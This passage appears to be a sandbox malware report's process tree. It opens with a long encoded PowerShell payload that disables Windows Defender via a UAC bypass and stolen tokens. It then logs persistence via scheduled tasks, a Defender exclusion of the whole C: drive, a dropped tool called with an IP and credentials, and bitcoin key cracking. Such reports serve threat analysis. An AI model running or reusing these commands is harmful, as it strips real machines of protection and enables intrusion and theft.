QAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                                              10⤵
                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                              PID:8176
                                                              • C:\Windows\system32\sc.exe
                                                                "C:\Windows\system32\sc.exe" qc windefend
                                                                11⤵
                                                                • Launches sc.exe
                                                                PID:8844
                                                              • C:\Windows\system32\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                11⤵
                                                                  PID:8992
                                                                • C:\Windows\system32\whoami.exe
                                                                  "C:\Windows\system32\whoami.exe" /groups
                                                                  11⤵
                                                                    PID:9320
                                                                  • C:\Windows\system32\net1.exe
                                                                    "C:\Windows\system32\net1.exe" start TrustedInstaller
                                                                    11⤵
                                                                      PID:9400
                                                                    • C:\Windows\system32\net1.exe
                                                                      "C:\Windows\system32\net1.exe" start lsass
                                                                      11⤵
                                                                        PID:9720
                                                              • C:\Users\Admin\AppData\Local\Temp\10206730101\st22BJg.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\10206730101\st22BJg.exe"
                                                                7⤵
                                                                • Checks computer location settings
                                                                • Executes dropped EXE
                                                                PID:12452
                                                                • C:\Windows\System32\wscript.exe
                                                                  "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\pack82.vbe"
                                                                  8⤵
                                                                  • Blocklisted process makes network request
                                                                  • Downloads MZ/PE file
                                                                  • Checks computer location settings
                                                                  PID:12600
                                                                  • C:\Windows\System32\schtasks.exe
                                                                    "C:\Windows\System32\schtasks.exe" /create /ru system /tn Microsoft\Windows\Shell\WindowsObjectChecking /sc onstart /tr "C:\Users\Admin\AppData\Roaming\B8AD0ED6F593F823EEB273FFBD548993\406B95324F84EF027D0E7A51C567FEAC.vbe" /f /rl highest
                                                                    9⤵
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:6108
                                                                  • C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif
                                                                    "C:\Users\Admin\AppData\Local\Temp\System.{BB06C0E4-D293-4f75-8A90-CB05B6477EEE}\Security Protection Windows.pif" 95.168.166.227:8082:admin:12r3sa6qf9
                                                                    9⤵
                                                                    • Executes dropped EXE
                                                                    PID:6392
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CDAB06A52CB4C4000:00000000000000000000000000000000000000000000001CDAB06DF61DE07FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                                                                      10⤵
                                                                        PID:6244
                                                                        • C:\Users\Admin\AppData\Local\Temp\OpenCL.pif
                                                                          OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CDAB06A52CB4C4000:00000000000000000000000000000000000000000000001CDAB06DF61DE07FFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
                                                                          11⤵
                                                                          • Executes dropped EXE
                                                                          PID:6212
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                                                                          11⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:6192
                                                                      • C:\Windows\SYSTEM32\cmd.exe
                                                                        cmd.exe /c OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CB5DA9E3136ED8000:00000000000000000000000000000000000000000000001CB5DAA1D48981BFFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG 2>&1 | powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                                                                        10⤵
                                                                          PID:10300
                                                                          • C:\Users\Admin\AppData\Local\Temp\OpenCL.pif
                                                                            OpenCL.pif -c --continue save.txt --keyspace 00000000000000000000000000000000000000000000001CB5DA9E3136ED8000:00000000000000000000000000000000000000000000001CB5DAA1D48981BFFF -b 0 -t 0 -p 0 19vkiEajfhuZ8bs8Zu2jgmC6oqZbWqhxhG
                                                                            11⤵
                                                                            • Executes dropped EXE
                                                                            PID:9896
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -Command "$input | Select-Object -Last 9 | Add-Content keyc.txt"
                                                                            11⤵
                                                                            • Command and Scripting Interpreter: PowerShell
                                                                            PID:9592
                                                                    • C:\Users\Admin\AppData\Local\Temp\file.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\file.exe"
                                                                      8⤵
                                                                      • Checks computer location settings
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:12704
                                                                      • C:\Users\Admin\AppData\Local\Temp\ShortcutTaskAgent.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\ShortcutTaskAgent.exe"
                                                                        9⤵
                                                                        • Executes dropped EXE
                                                                        • Loads dropped DLL
                                                                        • System Location Discovery: System Language Discovery
                                                                        PID:6604
                                                                        • C:\Users\Admin\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
                                                                          C:\Users\Admin\AppData\Roaming\altuninstall_test\ShortcutTaskAgent.exe
                                                                          10⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Suspicious use of SetThreadContext
                                                                          • System Location Discovery: System Language Discovery
                                                                          • Suspicious behavior: MapViewOfSection
                                                                          PID:6764
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            C:\Windows\SysWOW64\cmd.exe
                                                                            11⤵
                                                                            • Suspicious behavior: MapViewOfSection
                                                                            PID:5096
                                                                            • C:\Users\Admin\AppData\Local\Temp\pluginfast_Yj.exe
                                                                              C:\Users\Admin\AppData\Local\Temp\pluginfast_Yj.exe
                                                                              12⤵
                                                                              • Loads dropped DLL
                                                                              PID:8436
                                                                  • C:\Users\Admin\AppData\Local\Temp\10206740101\7BzCs1a.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10206740101\7BzCs1a.exe"
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:6936
                                                                    • C:\Users\Admin\AppData\Local\Temp\10206740101\7BzCs1a.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10206740101\7BzCs1a.exe"
                                                                      8⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:6876
                                                                  • C:\Users\Admin\AppData\Local\Temp\10206750101\v6Oqdnc.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10206750101\v6Oqdnc.exe"
                                                                    7⤵
                                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                    • Checks BIOS information in registry
                                                                    • Executes dropped EXE
                                                                    • Identifies Wine through registry keys
                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:11336
                                                                  • C:\Users\Admin\AppData\Local\Temp\10206760101\eAzoDbY.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10206760101\eAzoDbY.exe"
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    • Suspicious use of SetThreadContext
                                                                    • System Location Discovery: System Language Discovery
                                                                    PID:7468
                                                                    • C:\Users\Admin\AppData\Local\Temp\10206760101\eAzoDbY.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\10206760101\eAzoDbY.exe"
                                                                      8⤵
                                                                      • Executes dropped EXE
                                                                      • System Location Discovery: System Language Discovery
                                                                      PID:7576
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7468 -s 408
                                                                      8⤵
                                                                      • Program crash
                                                                      PID:7692
                                                                  • C:\Users\Admin\AppData\Local\Temp\10206770101\8sb9w_003.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\10206770101\8sb9w_003.exe"
                                                                    7⤵
                                                                    • Executes dropped EXE
                                                                    • System Location Discovery: System Language Discovery
                                                                    • Suspicious behavior: MapViewOfSection
                                                                    PID:8004
                                                                    • C:\Windows\SYSTEM32\cmd.exe
                                                                      cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                      8⤵
                                                                        PID:8080
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                                                          9⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:8180
                                                                      • C:\Windows\system32\svchost.exe
                                                                        "C:\Windows\system32\svchost.exe"
                                                                        8⤵
                                                                        • Downloads MZ/PE file
                                                                        • Adds Run key to start application
                                                                        PID:8104
                                                                        • C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe
                                                                          "C:\ProgramData\{66FE5BC5-AFB2-47E5-AD94-EB93039508DF}\ps.exe" ""
                                                                          9⤵
                                                                          • Executes dropped EXE
                                                                          PID:8492
                                                                        • C:\Users\Admin\AppData\Local\Temp\{ED8B0E24-294A-4924-ABF6-1B4F6433B770}\cls.exe
